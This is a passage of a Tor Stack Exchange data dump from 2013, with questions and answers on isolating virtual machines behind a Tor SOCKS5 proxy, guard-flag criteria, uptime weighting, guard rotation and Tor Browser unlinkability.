  <row Id="375" PostTypeId="2" ParentId="331" CreationDate="2013-10-05T21:06:57.470" Score="2" Body="&lt;p&gt;Run your own tor node (it doesn't have to be exit node) and use it as the first hop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor works in the following way - you computer connects to tor node 1, tor node 1 connects to tor node 2, tor node 2 connects to tor node 3, tor node 3 connects to the target web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The government can't decrypt the communication, but it knows how much data was transferred between individual nodes. The government could see that the data flow between your computer and tor node 1 correlates with data flow between tor node 3 and the target web page - so it can suspect that you are viewing the target web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you run the first node on your own network, the government can't sniff data flow between your computer and the first tor node, so the above attack doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is essential that you register your tor node in the tor directory - so that other people can connect to it - so that the government doesn't know if the communication coming from your tor node is initiated by you or others.&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-10-05T21:06:57.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="376" PostTypeId="2" ParentId="330" CreationDate="2013-10-05T21:59:40.040" Score="25" Body="&lt;h1&gt; CAUTION! &lt;/h1&gt;&#xA;&gt; Running normal applications has the problem that any remote code&#xA;&gt; execution vulnerability in the application totally compromises the&#xA;&gt; user. This isn't just a theoretical attack, a vulnerability in Firefox&#xA;&gt; was used to compromise visitors of hidden services hosted by freedom&#xA;&gt; hosting in August 2013.&#xA;&lt;p&gt;&lt;strong&gt;Never rely on the virtual machine against malicious code&lt;/strong&gt;. For that task you should take a bare hardware, separate station connected to the Tor's host.&lt;/p&gt;&#xA;&lt;p&gt;You can google a &lt;strong&gt;thousands of examples with breaking any chroot&lt;/strong&gt; / any jail. The same picture with virtual machines.&lt;/p&gt;&#xA;&lt;p&gt;If you do not believe me, start googling from &lt;a href=&quot;https://en.wikipedia.org/wiki/Blue_Pill_%28software%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;this -&amp;gt; Blue Pill&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;If you are looking for a solution against leaks - probably, there is a &lt;a href=&quot;http://en.wikipedia.org/wiki/SOCKS#SOCKS5&quot; rel=&quot;nofollow noreferrer&quot;&gt;SOCKS5&lt;/a&gt; settings for you:&lt;/p&gt;&#xA;&lt;h3&gt;/etc/tor/torrc:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;SocksListenAddress 192.168.0.1:9050&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You should create a virtual interface called &amp;quot;bridge&amp;quot; and bind &lt;a href=&quot;http://en.wikipedia.org/wiki/IP_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;IP address&lt;/a&gt; 192.168.0.1 from host to this interface. Thereafter, make a SOCKS5 proxy on the 9050 port for IP address 192.168.0.1:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@host:~# brctl addbr br0&#xA;root@host:~# ifconfig br0 192.168.0.1 netmask 255.255.255.0 up&#xA;root@host:~# kill -HUP `pidof tor`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Make sure that your VM use only a virtual interface, &lt;code&gt;br0&lt;/code&gt;, that not connected to any external (real) interface.&lt;/p&gt;&#xA;&lt;p&gt;In your VM, configure everything what's needed for a network to use &lt;code&gt;192.168.0.1:9050&lt;/code&gt; &lt;strong&gt;socks5 proxy&lt;/strong&gt;. For example, look at &lt;code&gt;/usr/bin/torsocks&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; For example, &lt;strong&gt;LXC-Container&lt;/strong&gt;, &lt;code&gt;/var/lib/lxc/VM/config&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;lxc.network.type = veth&#xA;lxc.network.hwaddr = 00:12:34:56:78:9a&#xA;lxc.network.link = br0&#xA;lxc.network.flags = up&#xA;lxc.network.ipv4 = 192.168.0.2&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside the container, change default server IP address from loopback &lt;code&gt;127.0.0.1&lt;/code&gt; to virtual bridge &lt;code&gt;192.168.0.1&lt;/code&gt;, for torsocks proxifier &lt;code&gt;/etc/torsocks.conf&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;#server = 127.0.0.1&#xA;server = 192.168.0.1&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now you can proxify anything by torsocks:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@vm:~# torsocks wget -q -O - https://check.torproject.org 2&amp;gt;&amp;amp;1 | egrep -i 'congratulations|ip address'&#xA;&amp;lt;img alt=&amp;quot;Congratulations. Your browser is configured to use Tor.&amp;quot; src=&amp;quot;/images/tor-on.png&amp;quot;&amp;gt;&#xA;Congratulations. Your browser is configured to use Tor.&amp;lt;br&amp;gt;&#xA;Your IP address appears to be: &amp;lt;b&amp;gt;192.3.116.166&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bingo!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; Do not break default Tor settings, keep the SOCKS5 proxy by default on &lt;code&gt;127.0.0.1:9050&lt;/code&gt; and use one of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Inetd&quot; rel=&quot;nofollow noreferrer&quot;&gt;inet daemons&lt;/a&gt;, for example, rinetd:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@host:~# vi /etc/rinetd.conf&#xA;# bindadress    bindport  connectaddress  connectport&#xA;192.168.0.1     9050            127.0.0.1       9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now reload settings and you get &lt;code&gt;2 socks5&lt;/code&gt; of Tor, one on the &lt;code&gt;loopback&lt;/code&gt; and another on the &lt;code&gt;br0&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@host:~# service rinetd reload&#xA;Reloading configuration of internet redirection server: rinetd.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; In &lt;a href=&quot;http://en.wikipedia.org/wiki/VirtualBox&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualBox&lt;/a&gt; you need only one settings to achieve this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vktjl.png&quot; alt=&quot;VirtualBox settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside the VM, configure everything to use &lt;code&gt;socks5 proxy&lt;/code&gt;, for example, &lt;code&gt;chromium&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDHaN.gif&quot; alt=&quot;securityonion inside VirtualBox&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/QEMU&quot; rel=&quot;nofollow noreferrer&quot;&gt;QEMU&lt;/a&gt;; here you are need a &lt;code&gt;tap&lt;/code&gt; interface:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@host:~# modprobe tun&#xA;root@host:~# tunctl -t tap0&#xA;root@host:~# brctl addbr br0&#xA;root@host:~# brctl addif br0 tap0&#xA;root@host:~# ifconfig br0 192.168.0.1 netmask 255.255.255.0 up&#xA;root@host:~# ifconfig tap0 up&#xA;root@host:~# iptables -I INPUT -m state --state NEW -i tap0 -j ACCEPT&#xA;root@host:~# iptables -I INPUT -m state --state NEW -i br0 -j ACCEPT&#xA;root@host:~# cat &amp;gt;&amp;gt; /etc/rinetd.conf &amp;lt;&amp;lt; EOF&#xA;192.168.0.1     9050            127.0.0.1       9050&#xA;EOF&#xA;root@host:~# service rinetd restart&#xA;root@host:~# /usr/bin/qemu-system-x86_64 -boot d -m 2048 --enable-kvm \&#xA;             -cdrom  'kali-linux-1.0.5-amd64.iso' \&#xA;             -net nic,vlan=1,macaddr=00:aa:00:60:00:01,model=e1000 \&#xA;             -net tap,vlan=1,ifname=tap0,script=no  -vga std &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Don't forget inside the QEMU set ip address to the &lt;code&gt;eth0&lt;/code&gt; interface:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# ifconfig eth0 192.168.0.2 netmask 255.255.255.0 up&#xA;root@kali:~# ping 192.168.0.1&#xA;64 bytes from 192.168.0.1: icmp_req=1 ttl=64 time=0.395ms&#xA;64 bytes from 192.168.0.1: icmp_req=2 ttl=64 time=0.241ms &#xA;64 bytes from 192.168.0.1: icmp_req=3 ttl=64 time=0.42ms &#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Don't forget to change default firefox settings &lt;code&gt;about:config&lt;/code&gt; -&amp;gt; &lt;code&gt;network.proxy.socks_remote_dns = True&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gfVWQ.png&quot; alt=&quot;kali in qemu / firefox dns proxy&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Set socks5 proxy: &lt;code&gt;Edit&lt;/code&gt; -&amp;gt; &lt;code&gt;Preferences&lt;/code&gt; -&amp;gt; &lt;code&gt;Advanced&lt;/code&gt; -&amp;gt; &lt;code&gt;Network&lt;/code&gt; -&amp;gt; &lt;code&gt;Settings&lt;/code&gt; -&amp;gt; &lt;code&gt;Manual proxy configuration&lt;/code&gt; -&amp;gt; &lt;code&gt;SOCKS Host: 192.168.0.1&lt;/code&gt; &amp;amp; &lt;code&gt;Port: 9050&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YnBGi.png&quot; alt=&quot;kali in qemu / proxy settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Check your connection: &lt;code&gt;http://check.torproject.org&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vkuoH.png&quot; alt=&quot;kali in qemu / Success!&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Configure &lt;code&gt;/etc/proxychains.conf&lt;/code&gt; by adding only one string to the end of file: &lt;code&gt;socks5 192.168.0.1 9050&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k5VcL.png&quot; alt=&quot;kali in qemu / proxychain&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, you can start &lt;em&gt;any&lt;/em&gt; program with prefix &lt;code&gt;proxychain program.bin&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fBkQe.png&quot; alt=&quot;kali in qemu / ddos stackexchange via proxychain&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The VM doesn't see an external network, only &lt;strong&gt;tap0&lt;/strong&gt; and virtual bridge behind this tap0 - &lt;strong&gt;br0&lt;/strong&gt;, and SOCKS5 proxy on that bridge &lt;strong&gt;192.168.0.1:9050&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; &lt;a href=&quot;https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/6_0&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMware&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ufipQ.png&quot; alt=&quot;VMware settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;That way, the VM will connect to the host machine, to VMware's internal virtual interface, &lt;strong&gt;vmnet1&lt;/strong&gt;, only, no external network. Bind the SOCKS5 proxy to this interface by rinetd.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPgVB.png&quot; alt=&quot;VMware with security onion inside&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;Q: What VMs support this?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A: pretty much everyone. &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/QEMU&quot; rel=&quot;nofollow noreferrer&quot;&gt;QEMU&lt;/a&gt;&lt;/strong&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine&quot; rel=&quot;nofollow noreferrer&quot;&gt;KVM&lt;/a&gt;, &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/LXC&quot; rel=&quot;nofollow noreferrer&quot;&gt;LXC&lt;/a&gt;&lt;/strong&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Bochs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bochs&lt;/a&gt;, &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/VirtualBox&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualBox&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/VMware&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMware&lt;/a&gt;&lt;/strong&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Parallels_Workstation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Parallels Workstation&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/FreeBSD_jail&quot; rel=&quot;nofollow noreferrer&quot;&gt;FreeBSD jail&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Xen&quot; rel=&quot;nofollow noreferrer&quot;&gt;Xen&lt;/a&gt;, etc...&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Q: What is the main goal?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A: With only one-two commands and SOCKS5, you can get everything what you are looking for. With any environment around you... You may replace Tor with any other &lt;a href=&quot;https://en.wikipedia.org/wiki/Proxy_server&quot; rel=&quot;nofollow noreferrer&quot;&gt;proxy server&lt;/a&gt; or even with &lt;a href=&quot;https://en.wikipedia.org/wiki/Secure_Shell#Uses&quot; rel=&quot;nofollow noreferrer&quot;&gt;ssh&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It looks much better than native Tor's transport port, because SOCKS5 is everywhere. You will never see any leaks with this technique.&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2013-April/027709.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-talk Tor transparent proxy leaks?&lt;/a&gt;, &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxyLeaks&quot; rel=&quot;nofollow noreferrer&quot;&gt;trac.torproject.org: TransparentProxyLeaks&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h1&gt;CAUTION!&lt;/h1&gt; &#xA;Let me tell you once again, &lt;b&gt; NEVER rely &lt;/b&gt; on the virtual machine against **malicious code**! This may be used only for comfort. [1][30], [2][31], [3][32], [4][33], [5][34], [6][35], [7][36], [8][37], [9][38], [10][39], [11][40], [12][41], [13][42], [14][43], [15][44], [16][45] ... infinity.&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yj1fd.jpg&quot; alt=&quot;What color? It doesn't matter...&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="-1" LastEditDate="2021-04-07T20:02:45.380" LastActivityDate="2021-04-07T20:02:45.380" CommentCount="9" CommunityOwnedDate="2013-10-12T10:24:40.980" ContentLicense="CC BY-SA 4.0" />
  <row Id="377" PostTypeId="1" CreationDate="2013-10-05T23:12:39.057" Score="1" ViewCount="332" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jJwrp.png&quot; alt=&quot;Screenshot from Tor Browser&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't there any information on the newtab page in the Tor Browser, like an FAQ, atlas, tests of anonymity for browser, News/RSS reader, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the advantage of not showing information like this by default? Why is it empty?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="288" LastEditDate="2013-10-12T14:33:44.607" LastActivityDate="2013-10-12T19:11:58.787" Title="Why is the start tab page of the Tor Browser empty?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="378" PostTypeId="1" AcceptedAnswerId="382" CreationDate="2013-10-06T03:18:34.140" Score="3" ViewCount="710" Body="&lt;p&gt;How is the weighted fractional uptime of a Tor relay calculated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;Arma's &quot;The lifecycle of a new relay&quot;&#xA;post&lt;/a&gt; mentions&#xA;this statistic but does not describe it in detail:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Directory authorities assign the Guard flag to relays based on three&#xA;  characteristics: &quot;bandwidth&quot; (they need to have a large enough consensus&#xA;  weight), &quot;weighted fractional uptime&quot; (they need to be working most of the&#xA;  time), and &quot;time known&quot; (to make attacks more expensive, we don't want to&#xA;  give the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1685&quot; rel=&quot;nofollow&quot;&gt;Guard flag&lt;/a&gt; to relays that haven't been around a while first).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-06T13:50:56.733" Title="How is the weighted fractional uptime of a Tor relay calculated?" Tags="|relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="379" PostTypeId="1" AcceptedAnswerId="381" CreationDate="2013-10-06T03:27:54.480" Score="7" ViewCount="394" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot;&gt;Tor FAQ's &quot;What are Entry Guards?&quot; entry&lt;/a&gt; does not describe the process by which a relay becomes a guard.  The word &quot;flag&quot; is not mentioned anywhere in the FAQ index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot;&gt;Arma's &quot;The lifecycle of a new relay&quot;&#xA;post&lt;/a&gt; lists three general criteria:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Directory authorities assign the Guard flag to relays based on three&#xA;  characteristics: &quot;bandwidth&quot; (they need to have a large enough consensus&#xA;  weight), &quot;weighted fractional uptime&quot; (they need to be working most of the&#xA;  time), and &quot;time known&quot; (to make attacks more expensive, we don't want to&#xA;  give the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1685&quot;&gt;Guard flag&lt;/a&gt; to relays that haven't been around a while first).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-10-06T04:08:49.633" Title="What, precisely, are the criteria for determining if a relay will be flagged as a guard?" Tags="|relays|guard|flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="380" PostTypeId="1" AcceptedAnswerId="419" CreationDate="2013-10-06T03:35:37.290" Score="11" ViewCount="1949" Body="&lt;p&gt;The paper &lt;a href=&quot;http://freehaven.net/anonbib/#hs-attack06&quot;&gt;Locating Hidden Servers&lt;/a&gt; mentions three attacks that can reveal the location of&#xA;hidden servers.  Among those is the service location attack.  The paper states&#xA;that the Tor network's use of entry guards is an effective countermeasure.&#xA;How do entry guards prevent such an attack?&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorDisplayName="user194" LastEditDate="2013-10-07T02:08:33.550" LastActivityDate="2013-10-08T13:13:58.537" Title="How do entry guards protect against a service location attack?" Tags="|onion-services|attacks|guard|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="381" PostTypeId="2" ParentId="379" CreationDate="2013-10-06T04:08:49.633" Score="9" Body="&lt;p&gt;This has been described in details in the phase three of &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot;&gt;The lifecycle of a new relay&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your new relay has to be stable (up and running for at least 8 days), and have a minimum bandwidth of 250KB/s to receive a guard flag and become an entry node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I quote from &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1775&quot;&gt;Tor spec&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A router is a possible 'Guard' if its Weighted Fractional Uptime is at&#xA;  least the median for &quot;familiar&quot; active routers, and if its bandwidth&#xA;  is at least median or at least 250KB/s.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To calculate weighted fractional uptime, compute the fraction of time&#xA;  that the router is up in any given day, weighting so that downtime and&#xA;  uptime in the past counts less. A node is 'familiar' if 1/8 of all&#xA;  active nodes have appeared more recently than it, OR it has been&#xA;  around for a few weeks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-10-06T04:08:49.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="382" PostTypeId="2" ParentId="378" CreationDate="2013-10-06T04:13:44.680" Score="2" Body="&lt;p&gt;As described in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n1937&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor spec&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;To calculate weighted fractional uptime:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;compute the fraction of time&#xA;that the router is up in any given day, weighting so that downtime and&#xA;uptime in the past counts less.&lt;/p&gt;&#xA;&lt;p&gt;A node is 'familiar' if 1/8 of all active nodes have appeared more&#xA;recently than it, OR it has been around for a few weeks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-03-06T13:50:56.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="383" PostTypeId="1" AcceptedAnswerId="384" CreationDate="2013-10-06T07:35:33.110" Score="4" ViewCount="447" Body="&lt;p&gt;Using ifenslave on two endpoint Linux servers, it's possible to aggregate (aka bond or team) multiple tun or tap interfaces (e.g., tun0, tun1, ...) into a single link, combining bandwidth (less overhead) and improving reliability. SSH or OpenVPN can provide requisite tun interfaces, and either can be routed through Tor between hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Four questions come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Would this work?&lt;/li&gt;&#xA;&lt;li&gt;If it would, how many such tun interfaces could be aggregated?&lt;/li&gt;&#xA;&lt;li&gt;Might this be what all those Mevade bots are doing?&lt;/li&gt;&#xA;&lt;li&gt;Is this hypothesis about Mevade testable?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;https://ipfs.io/ipfs/QmUDV2KHrAgs84oUc7z9zQmZ3whx1NB6YDPv8ZRuf4dutN/&quot; rel=&quot;nofollow noreferrer&quot;&gt;six OnionCat links and MPTCP&lt;/a&gt;, I can transfer (bbcp) at ~50 Mbps. With multiple targets, source servers can push ~200 Mbps. It's obviously not very anonymous. But it's probably more anonymous than using VPN services. That's for servers with gigabit uplinks, by the way. Methods are &lt;a href=&quot;https://ipfs.io/ipfs/QmSp8p6d3Gxxq1mCVG85jFHMax8pSBzdAyBL2jZxCcCLBL&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to be eating up relay bandwidth, it's only fair to contribute. There's little risk or hassle in running entry guards or bridges, and middle relays. Each of the OnionCat links uses two of each. Or you could contribute to &lt;a href=&quot;https://www.torservers.net/donate.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorServers&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="14997" LastEditDate="2020-05-09T23:38:08.923" LastActivityDate="2020-05-09T23:38:08.923" Title="Can Tor connections between hidden services be aggregated using ifenslave? (... and might Mevade be doing this?)" Tags="|onion-services|botnet|onioncat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="384" PostTypeId="2" ParentId="383" CreationDate="2013-10-06T08:53:37.610" Score="2" Body="&lt;p&gt;It might work.  Tor transports TCP and as you can do OpenVPN over TCP, you can do OpenVPN over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other places document how to bond two tun devices, for instance &lt;a href=&quot;https://stackoverflow.com/questions/10698886/openvpn-bond-2-tap-tunnels&quot;&gt;openvpn bond 2 tap tunnels on stackoverflow&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, while it could work, I'm not sure if it's worth the trouble and network overhead.  Probably depends on what you want from your VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know anything about Mevade, but I doubt they actually do a whole IP based VPN with redundant links.  Why would they?&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2013-10-08T15:52:53.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="385" PostTypeId="1" AcceptedAnswerId="396" CreationDate="2013-10-06T09:34:38.087" Score="8" ViewCount="1140" Body="&lt;p&gt;What changes are made to the Tor Brower Bundle or what does it ship with to prevent a website from linking user session together, including fingerprinting on the device such as browser or system characteristics?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor does not aim to hide the fact that one is using Tor, but it aims for unlinkability. Websites can however try to identify a visitor and then link session by simple technologies such as cookies. Does the Tor Browser or something that gets shipped in the bundle prevent session linking through cookies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies are familiar to most people, but the browser provides lots of other ways to enable a website to link sessions. Does the Tor Browser or another component prevent session linking through device fingerprinting?&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="923" LastEditDate="2014-07-02T22:00:41.593" LastActivityDate="2014-07-02T22:00:41.593" Title="What does the Tor Browser Bundle do to prevent the linking of sessions?" Tags="|tor-browser-bundle|fingerprinting|unlinkability|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="386" PostTypeId="1" AcceptedAnswerId="387" CreationDate="2013-10-06T09:53:17.277" Score="9" ViewCount="773" Body="&lt;p&gt;Tor introduced guards, which are - oversimplified said - relays the client picks and holds for some time as the first hop, to protect the client against the so-called 'predecessor attack'. Entry guards prevent the client from connecting to the majority of the network in a short amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there's some planning towards increasing the guard rotation period and reducing the number of guards a client picks for that time-frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are fewer guards per client better then more guards? Why is a longer rotation period (a client sticks with its guards longer) beneficial for the client?&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="288" LastEditDate="2013-10-06T12:16:35.957" LastActivityDate="2013-10-06T13:10:00.740" Title="Why is a longer guard rotation period with fewer guards better than the other way around?" Tags="|guard|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="387" PostTypeId="2" ParentId="386" CreationDate="2013-10-06T10:42:58.223" Score="8" Body="&lt;p&gt;The short version is that when your adversary owns your first and your last hop you lose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you have an adversary that controls a couple of nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You change your last hop all the time. If you also change your first hop all the time, they'll find you sooner. If you pick it once and then stick with it you either picked badly, and you lose, or you were lucky and made a great choice.  Stick with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the network changes over time, Tor picks new guards once in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, recent research such as &lt;a href=&quot;http://freehaven.net/anonbib/#wpes12-cogs&quot; rel=&quot;noreferrer&quot;&gt;Elahi at al.&lt;/a&gt; and &lt;a href=&quot;http://freehaven.net/anonbib/#ccs2013-usersrouted&quot; rel=&quot;noreferrer&quot;&gt;Johnson et al.&lt;/a&gt; suggests we should rotate them even less often than we do now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that it is not entirely trivial without breaking the network too badly. See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8240&quot; rel=&quot;noreferrer&quot;&gt;Ticket#8240&lt;/a&gt; or &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;noreferrer&quot;&gt;Roger's blog post about the lifecycle of a 